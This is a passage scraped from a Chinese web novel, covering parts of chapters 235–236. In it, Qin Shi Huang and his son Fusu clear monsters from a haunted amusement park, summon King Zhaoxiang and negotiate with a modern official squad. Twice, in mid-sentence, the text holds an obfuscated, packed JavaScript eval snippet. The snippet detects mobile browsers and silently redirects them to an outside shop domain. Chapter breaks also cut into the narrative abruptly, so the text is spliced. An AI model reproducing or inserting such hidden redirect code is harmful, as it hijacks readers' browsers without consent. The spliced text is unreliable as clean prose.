他们并不是傻子,所以没有直接忽略广播播报。只不过有些诡异怀疑可能会有活人故弄玄虚,假装自己是厉害人物,来吓唬诡异躲起来。 男孩飞快打字: “快跑!是高阶觉醒者!” 旋转木马处,一个穿着公主裙的小女孩诡异撇了撇嘴。 外界哪里来的高阶觉醒者?他们这次入侵的世界不是刚刚才遭遇诡异降临吗?就算有觉醒者,也是低阶的。 她觉得小藏肯定是认错了,那个绝对是高阶诡异。 但女孩是不会傻到以为人家好对付的,他们都能把广播室抢了,还让小藏那么忌惮,一定是非常厉害的大佬。 女孩左右看了看,躲到了一棵树上。 有诡异谨慎,就必然有诡异不以为意。比如这处诡异乐园 里唯一一个抵达了丁级水平的孩子王,他就认为敌人或许只是和自己实力相当呢。 所以孩子王没有躲藏,而是选择继续展开新游戏。 十四五岁的少年站在过山车的排队区,对着被抓来被迫体验过山车游戏的游客们说道: “你们要陪我玩十局过山车,少一局都不行哦~ 游客们面如菜色。 别说十局,一局他们都玩不下去。 自从游乐园里发生异变后,所有设施都变得腐朽陈旧起来。斑驳脱落的油漆,久晒脆裂的塑料,爬满锈迹的金属,脏污染血的布料,四处堆积的灰尘。 一切的一切看起来都那么糟糕,过山车这里更是能直接看到断裂后摔落在地上的破损轨道,他们怕坐着坐着车子就飞出去了。 少年却不管这些,他直接开始点名,将两个哆嗦得最厉害的人点出来,命令他们去坐第一排。 接下来是第二排、第三排……他自己则坐在最后一排,并且拿出了几个飞镖在指尖把玩。大有谁不好好体验过山车,他就要把人戳死的架势。 游客们面如死灰地在位置上落座,中间还夹杂了一个迷茫的古代西方人。 她根本不知道发生了什么,虽然因为诡异的力量能够听懂诡域里的所有语言,但“过山车之类的陌生词汇,还是让她感觉到惶恐。 混在人群里的外国女人并没有引起众人的注意,游乐园里有几个外国游客是很正常的事情。 现在,他们只关心自己的小命。 过山车缓缓启动,它慢吞吞地开出了等待区。接下来的一段是缓慢的爬坡,爬到顶点后会飞快降落,开启惊险刺激的旅程。 然而,这个过山车根本不按照正常的速度走。它驶出等待区后就开始加速,快速冲刺到了顶峰,然后用更快的速度向下俯冲。 “啊啊啊啊——!!! 一串高昂的尖叫传遍了整个园区。 有过游乐园游玩经验的人一听就知道,肯定是过山车那边闹出的动静。就算不是过山车,也是跳楼机、大摆锤这种。 男孩窝在垃圾桶里暗骂一声蠢货,在群里问是哪个傻子这种时候还闹出动静来吸引觉醒者的注意力。 接着男孩收到了公主裙女孩的私聊: 「你是不是傻?那边乐意闹出动静不好吗?要死也是他先死!你难道还希望大家都平平安安的不出事?」 这种时候,当然是死道友不死贫道。 男孩被骂醒了,立刻撤回了那条质问的消息。其他人也没有在群里回复,默默看着他发出消息又撤回消息,全都保持了缄默。 显然,大家心里都是这么想的。 消息撤回了更好,这样过山车那边的诡异就不会醒悟,会继续制造噪音吸引危险的敌人过去。 扶苏确实被吸引了: “那边有动静。” 秦政看向那一头: “似乎是什么东西在空中的轨道上滑行。” 扶苏没见过这个东西,有些好奇,干脆脚步一转朝它走去。 父子俩很快来到了过山车地下。 如今园区里只有这一处的设备还在运行,其他人都在被迫参与躲猫猫游戏,分散藏在园区不同地方。 路上偶尔能看见几个尸体,是之前被诡异杀害的人。 由于游客没经验且游客基数大的缘故,尸体多是游客的。很少能看见古代西方人的尸体,偶尔才会见到一具。 两边的尸体很好辨认,古代西方人看起来瘦弱干枯皮肤粗糙,身上穿着老旧款式的廉价衣物,和红润健康打扮精致的现代人对比起来差别很大。 扶苏脚步微顿,看了一眼尸体。 不知道诡域消失后,这些人的尸首能否回到原本的世界。 秦政则抬头看向高速运行中的过山车,正好看见它冲向了一个断轨。 下一秒,过山车脱轨飞了出去,砸向远处。很显然,它并不能平稳地落到下一节轨道上,应该会中途摔落,车上的人也无法幸免于难。 秦政眉头皱起。 他的能力是以吞噬为主,倒是不方便救人。除非瞬移到车边,但以他一人之力也不可能拉得住带着强大惯性的车子。 或许,他应该把人一个个从车上拎下来?但秦政看到了卡住游客的保险杠,恐怕很难在短时间内把他们都拎出来。 何况车尾还有个诡异搅局。 少年诡举起双手欢呼: “一起迎接死亡吧,哈哈哈!” 疯子。 扶苏看了一眼父亲皱起 的眉头,知道自己该怎么做了。 父亲想救这些人,所以他要帮忙。 扶苏定定地盯着那个过山车,说出了几个字。 明明隔着很远,少年诡的耳畔却听清楚了他的话语,对方说的是“救下所有人”。 少年诡正要露出个嘲讽的笑容。 下一秒,他的身体不受控制地掰开保险杠,率先跳下车,展开诡力保护自己。靠着诡力护盾,他砸在地上的时候只是稍微有点不适,并没有受伤。 接下来,少年诡转身跑向了过山车即将落地的位置。他释放出了大量诡力,凝结成了一个厚厚的“垫子”。 过山车摔进了这团颜色诡异的垫子里,被垫子缓冲分散了力道,一车人有惊无险地落了地。 只有少年诡因此浪费了大量诡力。 少年诡怀疑地看了一眼自己的双手,接着很快意识到自己被阴了。他猛地扭头死死盯住父子二人,试图分辨谁是那个可以操控诡异的觉醒者。 好得很,居然还有这种觉醒者,难怪敢大放厥词说要狩猎诡异。 少年诡像一只灵巧的恶狼,三两下窜到了二人面前,他先扑咬向两人中看起来最强的秦政。 不是他不懂柿子先挑软的捏,而是他认为秦政更有威胁。干掉秦政之后,旁边的扶苏还不是任他为所欲为? 结果扑进了一片黑雾里。 扶苏赶紧探头: “留一点!留一点给我玩!” 可惜少年诡扑得太快了,哪怕秦政及时把黑雾收起来,也只留下了一截小腿。 而且能留下一截小腿,还是因为秦政看到儿子探头过去,怕他不小心把脑袋怼进雾里才赶紧收起来的。 父子俩对着地上无头苍蝇一样乱蹭的单只断腿陷入了沉默。 扶苏问父亲: “他这样是不是不能参加捉迷藏游戏了?” 很显然,是的。 扶苏就说那还不如全吞了,单独留个腿在这里乱爬也挺吓人的。 秦政却摇了摇头: “他应该就是诡域主人,要是直接击杀了他,诡域会立即消散。” 扶苏懂了: “那先把他留下,等我们收拾完其他诡异再来吞他。” 扶苏左右看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481697|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,没 看到什么合适的东西能够限制这条断腿乱跑。 担心用黑雾罩着,他没有眼睛会主动往黑雾里送菜。最后干脆把树上挂着的破旧灯带扯下来一截,将腿绑起来吊在了种了紫藤花的“拱门上。 断腿凭空蹦跶了两下,发现前后都挨不着任何东西借力。但他并不愿意放弃,依然不知疲倦地在那里表演蹦迪。 扶苏站在旁边欣赏了一会儿,直到父亲问他还玩不玩,他才想起来捉迷藏游戏没结束。 扶苏赶紧回来: “玩,我们继续找藏起来的诡异吧! 一车幸存者惊魂未定地看向这边,眼神里充满了迷茫。 他们不明白为什么那个可怕的少年突然就只剩一条腿了,而这两个不知道是人是诡的存在又为什么要把那条腿吊起来。 见父子俩路过车边,吓得纷纷一缩,生怕两人顺手把他们也给吞吃了。 ——之前的广播他们也听到过。 然而父子俩却目不斜视,直接路过了车子,径直往前走。 等人走远了,才有一个女生开口: “他们穿的好像是秦朝的冕服。 她的同伴不明所以: “冕服是什么? 女生改口: “秦朝皇帝的龙袍。 同伴:!!! 同伴立刻激动地说: “是coser吗?是不是那种觉醒了特殊能力的异能者?是官方派来救我们的吗?我就知道国家爸爸不会放弃我们!之前还骗我们说天底下不存在异能者! 女生:“……你清醒一点,官方派来的异能者为什么会是coser? 同伴哑口无言,半晌后吐出两个字: “便衣? 女生:你家便衣穿成这样??? 秦政和扶苏并没有掩盖脚步声,一路走过去不少人都听见了动静。 这些人已经经历过好几轮男孩小藏的捉迷藏游戏了,早就成了惊弓之鸟。听到扶苏那通明显不对劲的广播后,也没人敢猜是不是援兵来救他们了,所以一个都不敢出来冒头。 相比之下,他们应该更相信新的广播是另一波诡异说的。怪物们在黑吃黑,他们只要躲好就行,千万别掺和。 这就给扶苏找人增添了 麻烦。 听到房子后面有动静,绕过去一看,是活人。 大活人惊恐尖叫: “救命!” 扶苏赶紧捂了捂耳朵: “别嚷嚷。” 大活人继续尖叫: “啊啊啊啊啊!” 扶苏只好说: “再叫我就吃了你。” 尖叫声戛然而止。 扶苏满意地颔首: “果然还是这招比较好用。” 活人:…… 秦政:…… 扶苏拉着父亲往外走: “耽误我时间,我还以为是诡异呢。不是诡异你发出什么动静,影响我玩游戏。” 活人:…… 活人热泪盈眶地摸出手机给一起来游乐园却失散的亲友打电话。 园区内的大家早就机智地将手机调整成静音了,还把闹钟什么的一起给静音关闭。深受恐怖片洗礼的他们太懂这些个套路了,根本不会犯这类低级错误。 所以电话连打了几十遍才被当事人发现并接通。 亲友本来不想接的,生怕电话里的声音会引来诡异追杀。但摸出手机时看到来电几十条,到底还是担心打电话的人,冒着风险接了。 活人压抑着激动小声说: “得救了!后来的那两个只猎杀诡异,对人不感兴趣!” 亲友一开始没听明白,反应了片刻才猛地瞪大眼睛。他险些一个激动跳起来大喊一声大家别怕,新来的不吃人。 但是理智制止了他。 不行,就算人家优先吃诡异,自己这么挑衅也容易激得对方逆反。还是继续苟着吧,万一他们改变主意了自己也不至于直接送菜上门。 反正躲着没损失,大家静观其变,围观诡异狗咬狗就行。 两人很快达成共识,继续躲藏。 那头,扶苏边走边和父亲说: “阿父你看到了吗?那人刚刚手里拿的那个黑乎乎的小方块是什么东西?” 秦政也没见过那东西。 不过他和扶苏都不打算询问活人。 现在活人把他们当成了可怕的诡异,多说几句话就容易吓晕过去。比起询问他们,不如直接去问诡异。 扶苏又颇为感慨地提到 活人的衣着: “他们穿的衣服看起来不错但又不像是贵族。庶民竟然能穿得起那么好的衣服不知是如何做到的。” 贵族很好分辨是常年被一群人围着伺候还是从小自己的事情自己做其实能够看得出来。 秦政颔首: “此界庶民富足比之昔年的齐国还要更胜一筹。许是商贸更加繁荣商品繁多而价贱定有增产之法。” 扶苏眼眸一转: “也不知道他们是怎么做到增产的要是像觉醒者可凭力气大种更多田那般靠着特殊能力也便罢了若是凭借改进的工具或许大秦也可借鉴学习。” 又给他找到能薅羊毛的地方了。 秦政心里已经有了计较: “此处没有书籍但人数众多。” 这么多人里总有懂行的说不定还能凑出各行各业的人才多问到一些经验。 之前大秦境内出现的诡域多是和大秦一样的古代社会彼此情况都差不多。派去的人也不像父子俩那样眼光独到基本就是光顾着清理诡异了。 倒也有人想弄更高产的良种来之前那些良种如今已经在慢慢推广了。不过最后搜集来的种子参差不齐 那些人不太擅长变通陛下带回来良种他们也跟着带回来良种。 扶苏就说: “希望这回我们带回新工具或者新技术之后他们能受到点启发多带些新东西回大秦。” 不要每次都是种子。 说话间父子俩路过一个垃圾桶。 秦政拉住了儿子示意他看去。垃圾桶里在发光里头一定有东西。 男孩正窝在里面和其他诡互通消息。 他打算得极好觉得父子俩爱干净肯定不会翻垃圾桶。确实如此但前提是两人知道这是垃圾桶。 哪怕桶身上明明白白写着“垃圾桶”三个字而秦隶的这三个字和简体字相似度很高可以半猜半蒙地认出来。 可关键在于秦朝没有“垃圾”这个说法。光看字义倒是能理解一二却架不住父子俩从右往左读。 扶苏一字一顿: “桶、圾、垃?是这三个字吗?什么 第 235 章 共赢 第235章共赢 秦政一听这个名字就知道要糟。 他家小太子要哄不好了。 任何一个弟妹都比胡亥好,因为他们从来没引起过扶苏的不满。不像胡亥,前世太子由于中毒体弱不能跟着父亲一起出门巡游,但是胡亥可以。 太子殿下疯狂记仇。 秦政顾不得去问胡亥为什么能成为秦二世,是不是趁着他家太子中毒垂死,杀兄夺位。 他先轻轻按住儿子的肩膀: “阿苏,此事与朕无关。” 听起来特别像个干了坏事就撇清自己的渣爹。 扶苏当然知道此事与父亲无关,毕竟无论前世还是今生,父亲从没考虑过其他儿女。但是这不妨碍扶苏难过,怎么其他位面的父亲更看重胡亥吗? 经历过两世的父子俩,之前还见识过不少各不相同的诡域,对于不同异世界的存在接受良好。 扶苏不太开心地问道: “秦二世为什么是胡亥?” 队长回答: “玩阴谋诡计上位的呗,把他哥扶苏搞死了,然后拿着假的遗诏登基。他那会儿跟着秦始皇在外巡游,他老师赵高看秦始皇驾崩的时候身边没别人,就说动了李斯一起搞事,本来应该是他哥继位的。” 扶苏的眉头却没有松开: “李斯?” 知道另一位父亲也是属意于他的开心只是一瞬,扶苏很快就通过他的专业素养判断出了局势的严重性。 胡亥是个草包,赵高也没什么大本事。虽然拉拢了李斯,但赵高野心大,肯定会打压李斯。 本来大秦那会儿就乱着,他们这么一折腾,还能有好下场? 扶苏有了不好的预感: “大秦延续多少代?” 队长奇怪地看这他: “这你都不知道?二世而亡啊!” 扶苏:!!!果然! 这次换扶苏安慰阿父了: “那不是我们的大秦,阿父不要伤心,我们的大秦肯定能延续千千万万年。” 秦政其实在问出“秦二世是谁”的时候心里就已经做好准备了,在他看来只要上位的不是他家太子,随便哪个儿女登基都是一样的结果。 何况秦政什么大风大浪没见过? 秦政冷静地回应: “朕无事。” 扶苏仔细观察了一下,确认父亲真的没有太过伤心,这才松了一口气。 他继续问队长细节。 队长无语望天: “能不能先把我放下来?然后我们把人民都解救了,我再细细跟你们讲解?要是嫌弃我讲得不够好,我还能给你们买几本研究秦始皇的书。” 扶苏虽然很心动,但是: “等诡域被解决掉后,我们就见不着面了,所以你还是在诡域里说清楚吧。” 队长:啊?为啥? 扶苏没再解释,让男孩诡把两人放下来。有父亲坐镇在这里,指挥男孩诡根本用不着扶苏使用能力。 提到这,扶苏感受了一下-体内的能量浓度。距离上次使用快一个半时辰了,所以还有半个时辰就又要满了。 扶苏和父亲一说。 秦政让他先用掉一次机会。 他看这个诡域没什么危险可言,不用留着大量机会等着看接下来的半个时辰里有没有需要频繁动用次数的时候。 先用了,避免等下忘记。 扶苏就点了点头,在心里默念了一句许愿先王复活的话。也没指定哪个先王,心里想着来个能干的直系长辈就行。 反正肯定不能来其他支的,武王还稍微好点,就怕来个秦简公那种的。 虽然有能力,但他是献公的叔祖父、孝公的曾叔祖。他抢了侄孙献公的国君之位,然后侄孙又从他孙子手里夺回了国君之位。 两边关系显然很紧张。 能干的+直系长辈,就能极大概率避免尴尬的情况发生。不过扶苏也没想到自己这种随便玩玩的许愿方式,真能成功把人召唤出来。 看着眨眼间出现在面前的秦昭襄王,父子俩同时陷入了沉思。 就是说,来谁不好为什么来他? 上回亡诡选中的扮演对象也是他,莫非里头有什么说法?他们父子俩是和昭襄王特别有缘吗? ——说起来要不是上次亡诡幻化出过昭襄王的模样,父子俩这会儿也不可能一眼认出对方是昭襄王,毕竟他们又没见过这位长辈。 扶苏有些后悔: “ 早知道我就把许愿的内容放在武成侯身上了。” 因为上一轮用在了王翦身上这一轮他就本着公平原则给了先王。本以为两边都不可能那么早出现的结果王翦那头分明用的次数更多、死亡更晚却是先王这边先有了动静。 要不是当着昭襄王的面扶苏就要开始和他阿父讨论这是不是因为昭襄王不如王翦值钱。 虽然太子殿下低眉敛目看起来很乖顺的模样但亲爹还是看出了他内心蠢蠢欲动的讨论欲。 秦政果断开口不给儿子说话得罪人的机会。 他拱手向昭襄王行礼: “小子政见过曾祖父。” 秦稷呵呵一笑: “少来你往日里可没这么恭敬 秦政:? 秦政意识到一个问题。 曾祖父之前肯定是在地府的根据他说过的话可得他在地府见过秦政双方还相处过不短的时间。然而秦政毫无印象说明秦政丢失过一段记忆。 扶苏很快得出结论: “阿父被我复活之前定是在地府和高祖父相处了一个月!” 秦政颔首应该就是这样了。 秦稷想说你们两个在讲什么鬼话?但他很快想到什么眼珠子一转闭上了嘴没有拆穿。 嘿嘿他不说。 秦政对于失去的那段记忆没太大兴趣看秦稷那样子应该就是大家天天在地府里拌嘴吵架。 估计是闲的。 秦稷原本都飞快设想好了父子俩问他的话他要编什么瞎话来糊弄两人。结果政儿居然不问真是叫他失望。 还好还有个扶苏。 扶苏对父亲的所有事情都很好奇: “阿父那一个多月在地府里都做什么了?” 秦稷高深莫测地说: “不告诉你。” 扶苏:…… 如果是秦政问那秦稷肯定很乐意骗一骗曾孙。但是扶苏问就不一样了不说才能叫扶苏最不痛快。 他成功了。 扶苏跟父亲阴阳怪气: “也不知道复活出个先王来能有什么用早知道就把机会都留给武成侯了。就算不复活王将军复活白起将军也是个不错的选择。” 这次轮到秦稷:…… 这人果然还是那副德性,哪壶不开专提哪壶。 秦政原还想维持住儿子和祖宗表面的和平,如今看来还是算了。就算扶苏不主动找事,昭襄王也是不会消停的。 因而在扶苏不解气,继续提出“昭襄王不值钱论”时,他没有制止。 秦稷:??? 秦稷呵了一声: “寡人再不值钱你也只能跟寡人相处,你还得对寡人恭敬一些,寡人可是你高祖父!” 辈分高就是占便宜。 扶苏充耳不闻: “阿父,你刚刚有听见什么声音吗?” 如果是在大秦的地界,肯定得给祖宗一个面子。毕竟这可是先祖,还有臣民盯着呢。 如今在异世界的地盘上,没有臣子在侧,他们想干嘛干嘛,某人不高兴也只能憋着。 说到这里,扶苏忽然想到: “等等,我复活的当真是咱们那一界的昭襄王吗?不会是异世界的吧?” 万一他父亲没醒的那一个月根本就没去地府,而是被他强行挽留在了人间。那么这个昭襄王嘴里说的不给他面子的政儿,或许是异世界的始皇帝。 这个可能性也不小,毕竟这样一来就不是相处一个月了,而是相处了千百年。听秦稷话语里的熟稔程度,搞不好还真是这样。 一个月就能混这么熟了?扶苏不信。 扶苏怀疑地盯着秦稷: “阿父,他可能是乱攀亲戚的。” 秦稷:。 秦稷都无语住了: “秦梓桑,饭可以乱吃,话可不能乱说。怎么的现在为了不认祖宗,什么瞎话都编得出来了是吗?” 他都说出扶苏独一份的表字了,总能证明自己了吧?要不是看在臭小子封锁了记忆的份上,秦稷绝对不和他客气。 结果都这样了,扶苏依然很坚持: “原来本界的扶苏表字也是梓桑吗?倒是凑巧了。” 秦稷:说不通了是吧? 秦稷深吸一口气,开始揭老底: “秦楼桑……” 扶苏瞬间打断了他: “阿父,我验证过了,他是咱们的嫡亲先祖。” 这里还有人呢,他可不想暴露 自己重生的事情。对面这个昭襄王居然连他前世的表字都知道,或者说居然知道他是重生过的,可见确实不是异世界的那位。 ——阿父怎么把他们重生的事情告诉先祖了? 秦稷听着这家伙分明就是故意不认祖宗的,结果话锋一转洗白自己说刚刚只是在验明真伪,冷笑了一声。 他还不知道秦扶苏是什么人? 装,接着装。 旁边的几个活人已经看呆了。 扶苏当场大变活人(鬼?),而且来了之后两边就开始进行了一场听起来很像真是那么回事的交流,这给几个官方特遣队员整不会了。 副队长倒抽一口凉气: “这个是觉醒者的异能,还是真的召唤出了祖先的鬼魂啊? 队长捅咕了他一下: “就算是召唤出来的,也不是鬼而是诡异吧?你看看他浑身哪有点鬼的样子,鬼不是应该阴气森森或者半透明的吗? 有点道理。 但无论如何,秦昭襄王估计真是秦昭襄王。 主要是在他们质疑对方身份之前,那两位大佬先质疑了,这总不能是剧本吧? 这么算下来,两位大佬莫非真的是秦始皇和扶苏?可扶苏怎么自称太子呢? 副队长若有所思: “他们提到了异世界。 说起来,那对父子确实像是异世界来的,他们的认知好像和本界大相径庭。 队长一下子跳了起来: “不行,我得去和上级打电话! 虽然他们早就有过猜测,那些诡异或许是从异界来到本界进行入侵的。可之前没有证据,因为诡异并不乐意和他们交流,给他们答疑解惑。 华国对于诡异的研究还是太粗浅了,甚至都不知道诡域会帮忙翻译语言。 这次的事情属于大发现,队长认为得第一时间上报。但他被副队长拉住了,说再等等,问问清楚再报。 而且他们现在杵在诡域里头,也没办法和外头交流。要传递消息得从周围的雾里开辟道路,又得耽搁一个小时。 秦稷并不是诡异,哪怕他是被诡王扶苏召唤来的。谁让扶苏只许愿复活先王,没说让先王也变诡呢。 秦稷负着手在周围溜溜达达,好奇地左看看右看看 。游乐园他见过诡异他却没见过所以主要是看诡异去的。 秦政已经解决了几乎全部的诡异只留下了男孩诡、女孩诡和那个少年诡的一条腿。 扶苏看见了女孩诡躲在不远处暗中观察这边就扭头问男孩诡有没有做好准备被吞噬掉。 男孩诡:!!! 男孩连忙求饶: “别吃我!我保证再也不杀人了!” 扶苏冷酷无情地告诉他: “不杀你就得把你交给旁边这队人你杀了他们很多国民他们是不会放过你的。” 所以早死晚死都得死。 队长赶紧纠正: “我们不一定会杀了你也有可能是关在实验室里研究。毕竟你是个等级挺高的诡异研究一下你的能量构成说不定能有很多收获呢。” 男孩:??? 男孩顿时觉得他还不如死了听说实验室里搞什么切片研究很恐怖的。 尤其他还属于那种被切了会飞快恢复的类型 诡异嘛有足够的诡力就能重塑身体。少年诡一直没重塑实在是因为体内能量就剩下一丁点了有心无力。 要不是他的丁级境界摆在那里恐怕现在诡域的障壁会非常薄弱。外界的人估计都能随意进出不再受限制。 男孩闭上眼睛: “来吧我准备好赴死了。” 队长:…… 队长看着男孩被吞噬挠了挠头: “我们实验室有这么恐怖吗?” 队员们则表示: “你去体验一下就知道恐不恐怖了我们不知道我们没见过。只看过电影电视剧等你出来跟我们分享一下。” 女孩诡见男孩诡死了下意识就想扭头逃跑。但她跑了两步就意识到这么做是死路一条咬了咬牙反而跑到了队长跟前。 她对队长说道: “我还没来得及杀人你们把我带走吧我愿意去实验室里给你们研究!” 能活着她才不肯死呢去了实验室说不定还有一条活路。 她比其他同伴聪明很多早就在给自己留退路了。比如每次只吞噬人类的九成生命力不直接杀人这样遇到心软的强 大觉醒者就能留下一条小命了。 至于被她吞噬过的人类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481698|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会因为身体孱弱躲不过其他诡异的攻击,那就不归她管了。她总不能不吃不喝,对吧? 队长用眼神去瞟秦政父子俩。 这可是诡异自己说要跟他们走的,不是他们蛊惑的,也不知道这两位愿不愿意放人。 秦政只说了一句: “朕答应了她,最后一个杀她。” 既然是最后一个杀她,意思就是要在这之前先把诡域主人给杀了。而主人一死,诡域就会消散,他会被传送回去,很难再补刀女孩诡。 当然,只是很难,不是绝对。非要动手也行,就是得看准时机,在传送前的一瞬完成吞噬,稍微有些麻烦。 如今既然女孩诡乐意被带走研究,她又只剩下少许诡力,那就随她去吧,正好省点力气。 扶苏则提醒了一句: “她现在实力低微是因为诡力耗尽,又被我阿父吞噬了一部分。吞噬掉的那些难以恢复,要重新吞吃诡异或者人类才能补足。但消耗掉的,却会自行恢复。” 队长听明白了: “我懂,就是生命值上限降低和生命值单纯扣减的区别呗!” 扶苏并不是特别理解,不过他看对方好像已经很理解了,就没再多说。 片刻后,秦稷拎着一条腿回来: “寡人见这玩意儿被吊着,一看就是梓桑干的。” 扶苏眯了眯眼: “高祖父倒是很了解我。” 秦稷随口回道: “那可不!所以你休想哄骗寡人!” 扶苏和父亲交换了一个眼神。 不对劲。 如果说昭襄王只是了解秦政一人,还能解释为之前一个月有过相处。可他同样很了解扶苏,总不能是光靠秦政在地府时和祖宗提过儿子的事情吧? 是地府众鬼能看见阳世的事情?还是说在自己曾经和昭襄王有过来往,但是自己不记得了? 扶苏不由联想到前世。 前世的他死后是真的直接穿越重生到了如今的大秦位面,还是中间在地府待过一段时间,后来才重生的? 秦政言简意赅地提醒儿子: “他喊你梓桑。” 喊的是梓桑而不是楼 桑。 说明要么是父子俩纠正过,让先祖喊新的表字。由于新表字寄托着秦政希望儿子长命百岁的美好祝愿,先祖们改口是很合理的事情。 要么就是秦稷认识的压根就是重生后的扶苏,他是先认识梓桑,后来才知道扶苏还有个表字叫楼桑的。 总之,秦稷身上藏了秘密。 父子俩没有多说,先把此事记下。 那边队长已经和女孩诡商量好了出去之后的安排,然后看了一眼那条蹦跶的断腿,欲言又止。 扶苏解释了一句: “那是诡域的主人。” 队长:谢谢,我知道。 他想问的是,为什么对方会变成现在这个样子。但是想想秦始皇刚刚用的黑雾吞噬,又感觉自己好像明白了。 副队长看他半天没聊到正题上,赶紧捅咕了他一下,让他说正事。 队长这才想起来: “哦对!我就想问问,诡域解决掉了之后,你们两位要怎么办?” 这俩来自异世界的纯古人,还召唤出了个鬼魂,很难办啊。也不知道那个召唤有没有什么限制,万一两人去了外界召出一堆古人来,很影响他们华国的安稳。 秦政扫了他一眼,直看得队长缩了缩脖子。寻常人很难在始皇帝跟前保持淡定,他反正是不行的。 秦政丢下了几个字: “我等会回归大秦。” 队长松了口气,又壮着胆子问: “那你们是为什么会来到我们这个位面呢?” 秦稷有些意外: “这小子还挺有胆识的!” 居然还敢继续问问题,而不是吓得缩回去当锯嘴葫芦。 这次秦政没回答,是扶苏热心解答: “你们的诡域连到大秦了,所以我们就进来看看,顺便把这里的诡异都解决掉。不然它一直杵在那里很碍事,而且它还吞了一些我们的国民。” 秦政眉梢微动。 他要是没记错的话,这个诡域出现的地点分明在大秦国土之外,而且还远隔万里。被吞的也不是大秦子民,而是当地的西方人。 扶苏这一副已经默认全世界都属于大秦、全世界的人们都是大秦子民的模样,真是狡猾得可爱。 队长并未怀疑这番 话的真假,他只是询问过后确认这里当真没有其他诡异后,就带着人出去搜寻被困群众了。 留下副队长在这里和几人作伴,尽一尽地主之谊。 扶苏原本是想直接解决掉诡域回家去的,见父亲没动,才想起来自己差点忘了薅羊毛的事情。 原本他们薅羊毛还得自己动手,现在有了这一队人马,或许可以省事。 他们已经看出来了,对方似乎是此地官方派遣出来的小队。 重点是他们实力很差。 官方的小队实力不够强,对付丁级诡异也只能派出低等级的觉醒者,代表着他们面对诡异入侵难有胜算。 恰巧,大秦不缺应对诡异的能力。 两边其实可以达成合作,一边提供实力增强上的帮助,另一边提供技术工具上的助力。 双方可以达成共赢。 这个异世界是大秦的千百年后,一定手握大量好东西。要怎么交换才不吃亏,需要细细斟酌。 扶苏于是也不着急了,反而和秦稷聊了起来。 他试图从秦稷口中打探出一些有关地府的消息,可惜秦稷也是只老狐狸,口风很严。扶苏想坑他没那么容易,尤其这家伙还会故意不说扶苏想知道的内容。 秦稷了解玄孙,扶苏也了解高祖父。两边你来我往了一阵,最后谁也没占到便宜。 秦稷可不敢和父子俩说地府里的太多事情,万一不小心提到赚取功德和信仰之类的话题,父子俩这次封锁记忆岂不是白封了? 扶苏在父亲手背上划拉了几下,写下几个字,是吐槽秦稷太难对付的。不好直接出声抱怨,只能悄悄地来。 秦政笑看了儿子一眼,也在对方手背上写了几个字。他提点了一下儿子可以怎么对付秦稷,叫秦稷透露出更多消息。 扶苏眼前一亮,开口了: “高祖父既然不肯说地府之事,不如我们来聊一聊白起将军。实不相瞒,父亲欲趁此良机攻占天下,急需更多名将。 要打下全世界的地盘,光靠现在的将领估计还不够。名将这种自然是多多益善的,尤其是有本事能在当地拉起队伍的那种大将。 秦国的士兵的数量远远不足,趁此机会最好多建立一些异族军队。 先让名将在他们心里建 第 236 章 装病撒娇 第236章装病撒娇 两界正式达成合作之后,大秦获取到的就不仅仅是区区种子了。华国方给出了一些使用诡力做能源催动的物品,比如诡力手电筒这种。 使用方法也挺简单的,只要将原本的普通电池替换成诡力充能的电池即可。这类物品还能反复使用,反复充能。 在大秦沉迷开疆拓土的时候,华国就在沉迷发展科技。 他们拥有了大量的高阶觉醒者,国内的那些诡域处理起来没有了难度,所以空出了许多人手研究这些。 许多觉醒者自愿充当志愿者,每日泡在研究所里给科学家提供诡力做实验。 在他们的配合下,才能极快出成果。 因为华国提供的成品数量有限,所以短期内肯定是只有贵族才能用上。尤其是都城中的大贵族,想要惠及千家万户还早得很。 贵族们对这些新得的好物很是喜欢,难免想要多弄一些。 各家都有亲戚朋友,本来那点就不够用,再给亲友一分那就更不够了。听说这是异界生产的,人家那边还能批量大规模产出,不值什么钱,不心动才怪。 扶苏这边便收到了贿赂。 太子殿下漫不经心地扫了一眼摆在自己跟前的礼物,听着对面人陪着笑的试探,脸上没什么表情。 对面是李斯的亲眷,和致仕的老丞相有点沾亲带故的。 李斯年龄比秦政还大上不少,两人差不多算是差辈了。所以他排行居长的儿女并不都是和宗室联姻的,也有自行婚配。 这人就是李丞相的儿女亲家,平日里喜欢仗着和李斯的关系搞点小动作。李斯本身就不是作风特别清正的人,族中多是有样学样的。 不过李斯本人不敢飘得太厉害,还经常遭受到来自陛下或者太子的暗中警告。他的亲戚们就不好说了,今天这不就来了一个? 扶苏起初听说“李丞相的族人想求见太子”,又见侍从奉上了厚礼,便升起了一些好奇心,以为李斯又折腾什么了。 结果见面一看,对方连姓氏都和“李”不沾边,就有些不耐烦了。 之所以还能耐心听他废话,是扶苏忽然意识到了一个比较严重的问题。 这位贵族说了 一通漂亮话,中心思想就是希望大秦能多从异界弄一些诸如诡力手电筒之类的好物。听说那边还有各种电器设施,有很多先进发达的东西,为何大秦不直接配备上呢? 大秦又不是没钱买,能联通各界就是大秦的底气啊! 扶苏含笑听着,不发一言。 贵族见太子殿下态度温和、言笑晏晏,就觉得这件事稳了。太子一定也觉得他的提议是个绝佳的好主意,到时候真有异界好物送来,他家肯定能排上第一批使用的。 于是贵族见好就收,告辞退下了。 